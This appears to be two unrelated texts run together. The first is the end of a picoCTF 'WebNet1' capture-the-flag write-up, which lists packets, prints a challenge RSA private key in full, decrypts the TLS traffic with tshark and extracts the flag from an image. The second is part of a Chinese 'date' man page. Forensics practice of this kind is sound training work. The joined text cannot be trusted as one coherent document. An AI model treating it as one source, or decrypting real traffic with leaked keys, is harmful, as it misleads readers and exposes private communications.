33 0.101890 172.31.22.220 → 128.237.140.23 TCP 66 443 → 57944 [ACK] Seq=1 Ack=518 Win=28032 [TCP CHECKSUM INCORRECT] Len=0 TSval=570160443 TSecr=133587666 443 57944
34 0.102246 172.31.22.220 → 128.237.140.23 TLSv1.2 1073 Server Hello, Certificate, Server Hello Done 443 57944
35 0.120097 128.237.140.23 → 172.31.22.220 TCP 66 57940 → 443 [ACK] Seq=836 Ack=1266 Win=130752 Len=0 TSval=133587679 TSecr=570160428 57940 443
36 0.120117 128.237.140.23 → 172.31.22.220 TCP 66 57941 → 443 [ACK] Seq=836 Ack=1266 Win=130752 Len=0 TSval=133587679 TSecr=570160427 57941 443
37 0.133091 128.237.140.23 → 172.31.22.220 TCP 66 57944 → 443 [ACK] Seq=518 Ack=1008 Win=130880 Len=0 TSval=133587692 TSecr=570160443 57944 443
38 0.133943 128.237.140.23 → 172.31.22.220 TLSv1.2 384 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message 57944 443
39 0.135006 172.31.22.220 → 128.237.140.23 TLSv1.2 324 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message 443 57944
40 0.164185 128.237.140.23 → 172.31.22.220 TCP 66 57944 → 443 [ACK] Seq=836 Ack=1266 Win=130752 Len=0 TSval=133587722 TSecr=570160476 57944 443
41 0.169256 128.237.140.23 → 172.31.22.220 TLSv1.2 517 Application Data 57944 443
42 0.169756 172.31.22.220 → 128.237.140.23 TLSv1.2 1330 Application Data 443 57944
43 0.218857 128.237.140.23 → 172.31.22.220 TCP 66 57944 → 443 [ACK] Seq=1287 Ack=2530 Win=129792 Len=0 TSval=133587775 TSecr=570160511 57944 443
44 0.340614 128.237.140.23 → 172.31.22.220 TLSv1.2 532 Application Data 57930 443
45 0.341085 172.31.22.220 → 128.237.140.23 TLSv1.2 581 Application Data 443 57930
46 0.371530 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1302 Ack=1781 Win=130496 Len=0 TSval=133587922 TSecr=570160682 57930 443
47 0.550456 128.237.140.23 → 172.31.22.220 TLSv1.2 519 Application Data 57930 443
48 0.550792 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Application Data 443 57930
49 0.550805 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
50 0.550809 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
51 0.550867 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
52 0.550900 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
53 0.580162 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=4529 Win=128320 Len=0 TSval=133588111 TSecr=570160892 57930 443
54 0.580191 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
55 0.580203 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
56 0.580206 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=7277 Win=125888 Len=0 TSval=133588111 TSecr=570160892 57930 443
57 0.580238 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
58 0.580272 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
59 0.580723 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=10025 Win=123136 Len=0 TSval=133588111 TSecr=570160892 57930 443
60 0.580727 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
61 0.580733 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
62 0.580736 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=12773 Win=120448 Len=0 TSval=133588111 TSecr=570160892 57930 443
63 0.580739 128.237.140.23 → 172.31.22.220 TCP 66 [TCP Window Update] 57930 → 443 [ACK] Seq=1755 Ack=12773 Win=131072 Len=0 TSval=133588111 TSecr=570160892 57930 443
64 0.580764 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
65 0.580796 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
66 0.581035 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=15521 Win=129664 Len=0 TSval=133588112 TSecr=570160892 57930 443
67 0.581039 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
68 0.581056 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
69 0.610313 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=18269 Win=128320 Len=0 TSval=133588139 TSecr=570160921 57930 443
70 0.610340 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
71 0.610363 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
72 0.610366 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=21017 Win=125568 Len=0 TSval=133588139 TSecr=570160921 57930 443
73 0.610404 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
74 0.610440 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
75 0.611355 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=23765 Win=122816 Len=0 TSval=133588139 TSecr=570160921 57930 443
76 0.611358 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
77 0.611365 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
78 0.611367 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=26513 Win=120064 Len=0 TSval=133588139 TSecr=570160921 57930 443
79 0.611371 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=29261 Win=117312 Len=0 TSval=133588139 TSecr=570160922 57930 443
80 0.611373 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=34757 Win=111808 Len=0 TSval=133588139 TSecr=570160922 57930 443
81 0.611376 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=32009 Win=114560 Len=0 TSval=133588139 TSecr=570160922 57930 443
82 0.611378 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=37505 Win=109056 Len=0 TSval=133588139 TSecr=570160922 57930 443
83 0.611382 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=40253 Win=106304 Len=0 TSval=133588140 TSecr=570160922 57930 443
84 0.611384 128.237.140.23 → 172.31.22.220 TCP 66 [TCP Window Update] 57930 → 443 [ACK] Seq=1755 Ack=40253 Win=109376 Len=0 TSval=133588140 TSecr=570160922 57930 443
85 0.611398 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
86 0.611429 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
87 0.611472 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
88 0.611545 172.31.22.220 → 128.237.140.23 TLSv1.2 2814 Ignored Unknown Record 443 57930
89 0.611581 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=41627 Win=124416 Len=0 TSval=133588140 TSecr=570160922 57930 443
90 0.611587 128.237.140.23 → 172.31.22.220 TCP 66 [TCP Window Update] 57930 → 443 [ACK] Seq=1755 Ack=41627 Win=131072 Len=0 TSval=133588140 TSecr=570160922 57930 443
91 0.611591 172.31.22.220 → 128.237.140.23 TLSv1.2 2275 Ignored Unknown Record 443 57930
92 0.639462 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=44375 Win=129664 Len=0 TSval=133588168 TSecr=570160922 57930 443
93 0.639481 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=45749 Win=131072 Len=0 TSval=133588168 TSecr=570160951 57930 443
94 0.640260 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=48497 Win=128320 Len=0 TSval=133588168 TSecr=570160951 57930 443
95 0.640264 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=51245 Win=125568 Len=0 TSval=133588168 TSecr=570160951 57930 443
96 0.640267 128.237.140.23 → 172.31.22.220 TCP 66 [TCP Window Update] 57930 → 443 [ACK] Seq=1755 Ack=51245 Win=131072 Len=0 TSval=133588168 TSecr=570160951 57930 443
97 0.640944 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=53993 Win=128320 Len=0 TSval=133588169 TSecr=570160951 57930 443
98 0.640948 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=56741 Win=125568 Len=0 TSval=133588169 TSecr=570160952 57930 443
99 0.640950 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=59489 Win=122816 Len=0 TSval=133588169 TSecr=570160952 57930 443
100 0.640953 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=62237 Win=120064 Len=0 TSval=133588169 TSecr=570160952 57930 443
101 0.640955 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=64985 Win=117312 Len=0 TSval=133588169 TSecr=570160952 57930 443
102 0.641830 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=67733 Win=128320 Len=0 TSval=133588169 TSecr=570160952 57930 443
103 0.641834 128.237.140.23 → 172.31.22.220 TCP 66 [TCP Window Update] 57930 → 443 [ACK] Seq=1755 Ack=67733 Win=131072 Len=0 TSval=133588169 TSecr=570160952 57930 443
104 0.641843 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=64985 Win=131072 Len=0 TSval=133588169 TSecr=570160952 57930 443
105 0.641844 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=70481 Win=128320 Len=0 TSval=133588169 TSecr=570160953 57930 443
106 0.641847 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=71855 Win=131072 Len=0 TSval=133588169 TSecr=570160953 57930 443
107 0.642018 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=1755 Ack=72690 Win=130176 Len=0 TSval=133588170 TSecr=570160953 57930 443
108 0.799152 128.237.140.23 → 172.31.22.220 TLSv1.2 438 Application Data 57930 443
109 0.799455 172.31.22.220 → 128.237.140.23 TLSv1.2 637 Application Data 443 57930
110 0.830330 128.237.140.23 → 172.31.22.220 TCP 66 57930 → 443 [ACK] Seq=2127 Ack=73261 Win=130496 Len=0 TSval=133588355 TSecr=570161140 57930 443
```
And a key file:
```console
root@kali:/media/sf_CTFs/pico/WebNet1# openssl rsa -in picopico.key -text
RSA Private-Key: (2048 bit, 2 primes)
modulus:
00:b0:2a:51:4f:34:a8:ec:78:91:79:a6:e0:89:53:
9c:77:f1:77:13:d5:e4:20:7b:9c:ce:28:d6:a1:02:
56:2e:76:f1:95:38:4b:3a:d5:39:c8:82:f7:04:47:
89:28:f2:2d:ce:0b:06:a4:db:f6:ad:70:69:37:a3:
3f:63:14:a7:a9:ed:71:44:60:d3:f7:d4:8c:30:0f:
d8:ff:61:ac:e5:2b:2e:03:44:b1:8e:6c:ec:88:65:
45:35:7f:65:91:03:b5:21:7f:43:ce:41:7b:03:4f:
5a:14:5f:7d:a3:30:a6:64:41:24:83:5b:83:11:65:
df:6d:ac:96:1d:3b:64:eb:70:43:cc:b0:18:99:42:
51:65:be:09:cd:c2:5d:d0:95:ac:28:cd:31:cb:00:
92:88:df:a8:f5:70:fc:12:30:c7:8d:71:ad:5e:d1:
98:b5:b3:b4:79:23:17:e1:a4:d5:ce:04:5d:05:9b:
18:96:be:67:8e:1d:b6:ac:a7:21:e0:f1:41:26:18:
1a:e4:77:89:38:c1:74:8a:19:0b:eb:73:c4:23:c9:
c3:f8:49:c1:1d:aa:ec:49:89:89:c3:4f:c8:84:6c:
0a:bb:d3:fe:df:ff:93:48:37:50:c4:f5:8a:06:26:
a2:98:8d:34:bd:9d:13:c1:e1:8b:e3:24:df:d2:26:
78:6f
publicExponent: 65537 (0x10001)
privateExponent:
08:29:dd:dc:ba:c6:fd:36:55:1f:7b:11:3a:ab:ea:
3b:50:b0:40:f6:0f:7d:45:dd:2d:5c:8d:1d:a6:fb:
11:6a:27:a5:cf:97:04:e1:ee:ac:91:0d:1b:60:a9:
45:81:7b:87:e9:d0:e4:00:e1:7c:86:12:0a:27:01:
7f:f8:ec:10:1e:d5:b9:e2:76:d0:2c:44:56:d1:d5:
2f:78:7a:47:a0:69:a0:73:25:7b:41:26:f0:e7:28:
7e:e3:29:74:bf:e4:3b:ea:26:dd:3f:01:91:54:b3:
0a:f0:a5:e4:d3:13:52:e0:05:ee:24:66:7d:7e:e8:
0c:b0:0b:c0:cd:08:cf:34:2f:da:e9:fe:d9:49:93:
d7:9a:e0:01:97:e5:dc:82:f5:3c:6b:c9:85:b8:4b:
c5:f7:9e:c8:f1:3d:30:1c:b5:4a:a0:63:43:da:cd:
16:7f:2c:42:ff:79:f4:9e:81:1f:3e:1b:12:92:bf:
fc:4a:ed:34:fd:b2:87:ba:22:54:10:60:28:44:35:
80:4b:8e:8d:00:bf:e2:8c:68:a8:21:5f:65:a7:fd:
5c:d4:42:c4:1f:f3:63:59:d4:a6:bb:c9:cb:3d:3d:
34:c4:16:34:5d:84:9a:f9:81:54:67:e8:4f:19:ae:
ba:de:4d:d0:66:d5:af:65:32:1f:15:8c:2a:6d:ac:
39
prime1:
00:e9:6f:6f:80:5a:05:a5:1a:d7:ad:b8:b2:89:7c:
9b:3c:76:77:7a:2e:19:da:7d:b2:82:39:73:0e:4f:
af:2a:30:14:68:4e:90:6d:55:32:d1:55:23:6f:58:
29:bc:9b:84:d3:11:ac:d7:e3:e6:40:f9:b2:45:c1:
41:70:68:04:c3:98:77:2b:ea:53:08:de:d3:4a:ad:
cb:27:63:61:7b:a3:92:38:cf:a9:b0:b9:1b:92:7a:
cc:ea:fe:77:71:66:a0:b3:c0:2b:b8:9c:a8:b1:87:
77:33:9e:9e:e3:26:21:25:34:6d:1d:f0:bb:b9:79:
08:26:54:02:b5:02:15:97:7d
prime2:
00:c1:31:af:60:6b:b5:49:50:fe:29:cd:c1:e7:58:
0a:22:df:83:a9:7e:3b:d0:61:e1:a5:20:a2:f7:00:
a3:b8:39:e7:5a:1d:d1:fd:aa:27:78:d4:f4:07:9c:
be:ce:df:1c:cd:eb:af:52:90:b6:79:b3:47:7c:f0:
0f:cb:14:b9:38:a1:93:4c:29:d9:12:4d:02:10:f8:
03:1b:5c:7d:35:1c:61:6f:9c:23:ae:3e:0f:c5:6c:
da:75:c1:2e:f3:24:48:39:bb:91:c5:41:6c:8c:3c:
d2:4b:af:f8:59:ea:0d:98:a7:e5:06:a4:07:06:4f:
03:3f:44:23:d5:00:f8:4b:5b
exponent1:
00:c0:07:43:9a:3a:73:da:56:32:86:5e:21:c0:a8:
18:ab:ac:68:ac:c1:af:d2:e5:04:2b:cc:46:b1:c7:
2b:39:71:43:d8:6a:88:b4:e8:19:5d:ca:c3:d3:9c:
9a:f8:e4:96:67:6b:6a:dc:4e:45:e3:bd:84:c1:8d:
30:df:df:31:cc:15:68:33:60:17:de:7c:2f:24:87:
c3:4f:2b:99:cd:b3:c9:5d:a2:b6:dd:01:e9:84:9e:
30:64:3f:e0:d2:10:b2:b2:2b:ab:cb:ba:53:ab:76:
dc:c0:42:04:42:a7:e3:2c:4f:ec:53:6c:ed:80:ad:
e7:de:5f:cd:ba:49:74:a9:a1
exponent2:
2d:af:9c:33:87:05:05:e3:7b:57:53:6b:09:54:4e:
81:54:ae:04:04:f0:0c:25:39:81:1d:28:ac:94:a0:
22:ce:be:a1:16:f0:33:b6:6b:43:2d:c8:cf:8c:07:
ab:50:23:b5:a6:88:7d:53:ef:72:f4:2c:71:a5:2b:
76:f0:dd:a4:40:c1:5e:7f:7e:ef:ce:fa:30:1d:16:
4f:00:1e:33:d3:14:4f:9a:72:ed:9f:8b:87:3a:68:
a6:f4:1a:30:31:62:4b:14:ca:32:05:78:af:e9:2a:
29:ef:e1:21:12:32:48:e9:5b:45:a8:c0:68:83:82:
d7:11:3c:10:00:fc:b6:85
coefficient:
7c:43:35:ad:f3:34:bf:75:26:07:b3:d2:ea:ed:26:
3f:77:24:3f:60:85:09:d6:ab:c9:73:df:0b:9d:86:
05:c2:77:43:8e:98:a6:c4:2f:2d:35:68:b4:cf:ad:
78:7b:d3:8c:dc:36:8f:0c:19:c4:89:78:35:e9:c6:
48:48:f7:28:38:50:a0:e8:90:0b:d0:6b:0c:3f:83:
07:82:3d:f9:3f:67:c5:3d:e0:ed:1e:8c:ae:02:13:
82:10:78:59:ee:d3:56:12:ff:3e:58:e7:25:3c:83:
aa:98:cd:03:89:18:4e:f7:80:24:fb:fa:5e:ad:44:
46:de:4f:52:d5:f7:06:a4
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAsCpRTzSo7HiReabgiVOcd/F3E9XkIHuczijWoQJWLnbxlThL
OtU5yIL3BEeJKPItzgsGpNv2rXBpN6M/YxSnqe1xRGDT99SMMA/Y/2Gs5SsuA0Sx
jmzsiGVFNX9lkQO1IX9DzkF7A09aFF99ozCmZEEkg1uDEWXfbayWHTtk63BDzLAY
mUJRZb4JzcJd0JWsKM0xywCSiN+o9XD8EjDHjXGtXtGYtbO0eSMX4aTVzgRdBZsY
lr5njh22rKch4PFBJhga5HeJOMF0ihkL63PEI8nD+EnBHarsSYmJw0/IhGwKu9P+
3/+TSDdQxPWKBiaimI00vZ0TweGL4yTf0iZ4bwIDAQABAoIBAAgp3dy6xv02VR97
ETqr6jtQsED2D31F3S1cjR2m+xFqJ6XPlwTh7qyRDRtgqUWBe4fp0OQA4XyGEgon
AX/47BAe1bnidtAsRFbR1S94ekegaaBzJXtBJvDnKH7jKXS/5DvqJt0/AZFUswrw
peTTE1LgBe4kZn1+6AywC8DNCM80L9rp/tlJk9ea4AGX5dyC9TxryYW4S8X3nsjx
PTActUqgY0PazRZ/LEL/efSegR8+GxKSv/xK7TT9soe6IlQQYChENYBLjo0Av+KM
aKghX2Wn/VzUQsQf82NZ1Ka7ycs9PTTEFjRdhJr5gVRn6E8ZrrreTdBm1a9lMh8V
jCptrDkCgYEA6W9vgFoFpRrXrbiyiXybPHZ3ei4Z2n2ygjlzDk+vKjAUaE6QbVUy
0VUjb1gpvJuE0xGs1+PmQPmyRcFBcGgEw5h3K+pTCN7TSq3LJ2Nhe6OSOM+psLkb
knrM6v53cWags8AruJyosYd3M56e4yYhJTRtHfC7uXkIJlQCtQIVl30CgYEAwTGv
YGu1SVD+Kc3B51gKIt+DqX470GHhpSCi9wCjuDnnWh3R/aoneNT0B5y+zt8czeuv
UpC2ebNHfPAPyxS5OKGTTCnZEk0CEPgDG1x9NRxhb5wjrj4PxWzadcEu8yRIObuR
xUFsjDzSS6/4WeoNmKflBqQHBk8DP0Qj1QD4S1sCgYEAwAdDmjpz2lYyhl4hwKgY
q6xorMGv0uUEK8xGsccrOXFD2GqItOgZXcrD05ya+OSWZ2tq3E5F472EwY0w398x
zBVoM2AX3nwvJIfDTyuZzbPJXaK23QHphJ4wZD/g0hCysiury7pTq3bcwEIEQqfj
LE/sU2ztgK3n3l/Nukl0qaECgYAtr5wzhwUF43tXU2sJVE6BVK4EBPAMJTmBHSis
lKAizr6hFvAztmtDLcjPjAerUCO1poh9U+9y9CxxpSt28N2kQMFef37vzvowHRZP
AB4z0xRPmnLtn4uHOmim9BowMWJLFMoyBXiv6Sop7+EhEjJI6VtFqMBog4LXETwQ
APy2hQKBgHxDNa3zNL91Jgez0urtJj93JD9ghQnWq8lz3wudhgXCd0OOmKbELy01
aLTPrXh704zcNo8MGcSJeDXpxkhI9yg4UKDokAvQaww/gweCPfk/Z8U94O0ejK4C
E4IQeFnu01YS/z5Y5yU8g6qYzQOJGE73gCT7+l6tREbeT1LV9wak
-----END RSA PRIVATE KEY-----
```
If we decrypt the capture using the provided key and follow the first stream, we get the following HTTP session:
```console
root@kali:/media/sf_CTFs/pico/WebNet1# tshark -r capture.pcap -o "ssl.debug_file:ssldebug.log" -o "ssl.desegment_ssl_records: TRUE" -o "ssl.desegment_ssl_application_data: TRUE" -o "ssl.keys_list:172.31.22.220,443,http,picopico.key" -qz follow,ssl,ascii,0
Running as user "root" and group "root". This could be dangerous.
===================================================================
Follow: ssl,ascii
Filter: tcp.stream eq 0
Node 0: 128.237.140.23:57930
Node 1: :0
437
GET /starter-template.css HTTP/1.1
Host: ec2-18-223-184-200.us-east-2.compute.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://ec2-18-223-184-200.us-east-2.compute.amazonaws.com/second.html
Pragma: no-cache
Cache-Control: no-cache
486
HTTP/1.1 200 OK
Date: Fri, 23 Aug 2019 16:27:04 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Mon, 12 Aug 2019 16:47:05 GMT
ETag: "62-58fee462bf227-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Pico-Flag: picoCTF{this.is.not.your.flag.anymore}
Content-Length: 100
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/css
..........K.O.T..RP(HLI..K.-./.R0-J......+.I,*I-.-I.-.I,IEVj.`.T.`..Q..P.ZQ......g.......2.. ...b...
424
GET /vulture.jpg HTTP/1.1
Host: ec2-18-223-184-200.us-east-2.compute.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://ec2-18-223-184-200.us-east-2.compute.amazonaws.com/second.html
Pragma: no-cache
Cache-Control: no-cache
340
HTTP/1.1 200 OK
Date: Fri, 23 Aug 2019 16:27:04 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Fri, 23 Aug 2019 16:26:33 GMT
ETag: "112fb-590cb44f2cbe6"
Accept-Ranges: bytes
Content-Length: 70395
Pico-Flag: picoCTF{this.is.not.your.flag.anymore}
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: image/jpeg
343
GET /favicon.ico HTTP/1.1
Host: ec2-18-223-184-200.us-east-2.compute.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
===================================================================
```
The flag in the HTTP header was replaced with a red herring: `Pico-Flag: picoCTF{this.is.not.your.flag.anymore}`.
We can see that one of the HTTP requests was for an image:
```
GET /vulture.jpg HTTP/1.1
```
We can export the HTTP objects from the session using the following command:
```console
root@kali:/media/sf_CTFs/pico/WebNet1# mkdir out
root@kali:/media/sf_CTFs/pico/WebNet1# tshark -r capture.pcap -o "ssl.debug_file:ssldebug.log" -o "ssl.desegment_ssl_records: TRUE" -o "ssl.desegment_ssl_application_data: TRUE" -o "ssl.keys_list:172.31.22.220,443,http,picopico.key" -o "tcp.desegment_tcp_streams: TRUE" -o "tcp.no_subdissector_on_error: FALSE" --export-objects "http,out"
```
In the GUI, we need to make sure that the following options are configured (under Edit -> Preferences):
* TCP:
* Allow subdissector to reassemble TCP streams: Checked
* Do not call subdissecors for error packets: Unchecked
* SSL (/TLS):
* Reassemble TLS records spanning multiple TCP segments: Checked
* Reassemble TCL Application Data spanning multiple TLS records: Checked
Then, we can select File -> Export Objects -> HTTP.
We get the following files:
```console
root@kali:/media/sf_CTFs/pico/WebNet1# ls out
favicon.ico second.html starter-template.css vulture.jpg
root@kali:/media/sf_CTFs/pico/WebNet1# strings out/vulture.jpg | grep pico
picoCTF{honey.roasted.peanuts}
```
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH DATE 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
date \- 输出或设置系统日期与时间
.SH 概述
\fBdate\fP [\fI\,选项\/\fP]... [\fI\,+格式字符串\/\fP]
.br
\fBdate\fP [\fI\,\-u|\-\-utc|\-\-universal\/\fP]
[\fI\,MMDDhhmm\/\fP[[\fI\,CC\/\fP]\fI\,YY\/\fP][\fI\,.ss\/\fP]]
.SH 描述
.\" Add any additional description here
.PP
按照给定的格式字符串显示日期和时间。使用了 \fB\-s\fP 选项或 [MMDDhhmm[[CC]YY][.ss]] 参数时,设置日期和时间。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-d\fP, \fB\-\-date\fP=\fI\,字符串\/\fP
显示由字符串指定的时间,而不是当前时间
.TP
\fB\-\-debug\fP
对日期的解析过程进行注解,对不规范的用法进行警告,并输出到标准错误
.TP
\fB\-f\fP, \fB\-\-file\fP=\fI\,日期文件\/\fP
类似 \fB\-\-date\fP;对日期文件的每一行执行一次
.TP
\fB\-I[格式]\fP, \fB\-\-iso\-8601\fP[=\fI\,格式\/\fP]
以 ISO 8601 格式输出日期/时间。格式="date" 时只输出日期(默认行为),当其为 "hours"、"minutes"、"seconds"
或 "ns" 时则按照所指示的精确度显示日期和时间。示例:2006\-08\-14T02:34:56\-06:00
.TP
\fB\-\-resolution\fP
输出时间戳的可用精度 例如:0.000000001
.TP
\fB\-R\fP, \fB\-\-rfc\-email\fP
以 RFC 5322 格式输出日期与时间。例:Mon, 14 Aug 2006 02:34:56 \fB\-0600\fP
.TP
\fB\-\-rfc\-3339\fP=\fI\,格式\/\fP
以 RFC 3339 格式输出日期/时间。格式="date"、"seconds" 或
"ns",按照所指示的精确度显示日期和时间。例如:2006\-08\-14 02:34:56\-06:00
.TP
\fB\-r\fP, \fB\-\-reference\fP=\fI\,文件\/\fP
显示指定文件的最后修改时间
.TP
\fB\-s\fP, \fB\-\-set\fP=\fI\,字符串\/\fP
将时间设置为字符串所描述的时间
.TP
\fB\-u\fP, \fB\-\-utc\fP, \fB\-\-universal\fP
按照协调世界时 (UTC) 显示或设置时间
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
格式字符串控制输出格式。支持解释的序列有:
.TP
%%
一个 % 字符
.TP
%a
当前区域设置的星期几的缩写(例如:日)
.TP
%A
当前区域设置的星期几的全称(例如:星期日)
.TP
%b
当前区域设置的月份缩写(例如:1月)
.TP
%B
当前区域设置的月份全称(例如:一月)
.TP
%c
当前区域设置的日期和时间(例如:2005年03月03日 星期四 23时05分25秒)
.TP
%C
世纪(指年份的最高两位);类似 %Y,但省略最后两位数(例如:20)
.TP
%d
日(例如:01)
.TP
%D
日期;等于 %m/%d/%y
.TP
%e
日,以空格填充;等于 %_d
.TP
%F
完整的日期;等于 %+4Y\-%m\-%d
.TP
%g
ISO 周数年的最后两位(参见 %G)
.TP
%G
ISO 周数年(参见 %V);一般只和 %V 一起使用
.TP
%h
等于 %b
.TP
%H
小时 (00..23)
.TP
%I
小时 (01..12)
.TP
%j
一年中的第几日 (001..366)
.TP
%k
小时,以空格填充 ( 0..23);等于 %_H
.TP
%l
小时,以空格填充 ( 1..12);等于 %_I
.TP
%m
月 (01..12)
.TP
%M
分钟 (00..59)
.TP
%n
换行
.TP
%N
纳秒 (000000000..999999999)
.TP
%p
当前区域设置中 AM 或 PM 的等价说法("上午" 或 "下午");未知则为空
.TP
%P
类似 %p,但使用小写
.TP
%q
季度 (1..4)
.TP
%r
当前区域设置中 12 小时制钟表时间(例如:下午 11时11分04秒)
.TP
%R
24 小时制的小时和分钟;等于 %H:%M
.TP
%s
自 Epoch (1970\-01\-01 00:00 UTC) 以来的秒数
.TP
%S
秒 (00..60)
.TP
%t
制表符
.TP
%T
时间;等于 %H:%M:%S
.TP
%u
星期几 (1..7);1 代表星期一
.TP
%U
一年中的第几周,以周日为每周第一天 (00..53)
.TP
%V
ISO 周数,以周一为每周第一天 (01..53)
.TP
%w
星期几 (0..6);0 代表星期日
.TP
%W
一年中的第几周,以周一为每周第一天 (00..53)
.TP
%x
当前区域设置的日期表示法(例如:1999年12月31日)
.TP
%X
当前区域设置的时间表示法(例如:23时13分48秒)
.TP
%y
年的最后两位 (00..99)
.TP
%Y
年
.TP
%z
+hhmm 数字时区(例如:\fB\-0400\fP)
.TP
%:z
+hh:mm 数字时区(例如:\fB\-04\fP:00)
.TP
%::z
+hh:mm:ss 数字时区(例如:\-04:00:00)
.TP
%:::z
数字时区,精度上有必要时加 ":"(例如:\fB\-04\fP、+05:30)
.TP
%Z
字母时区缩写(例如:EDT)
.PP
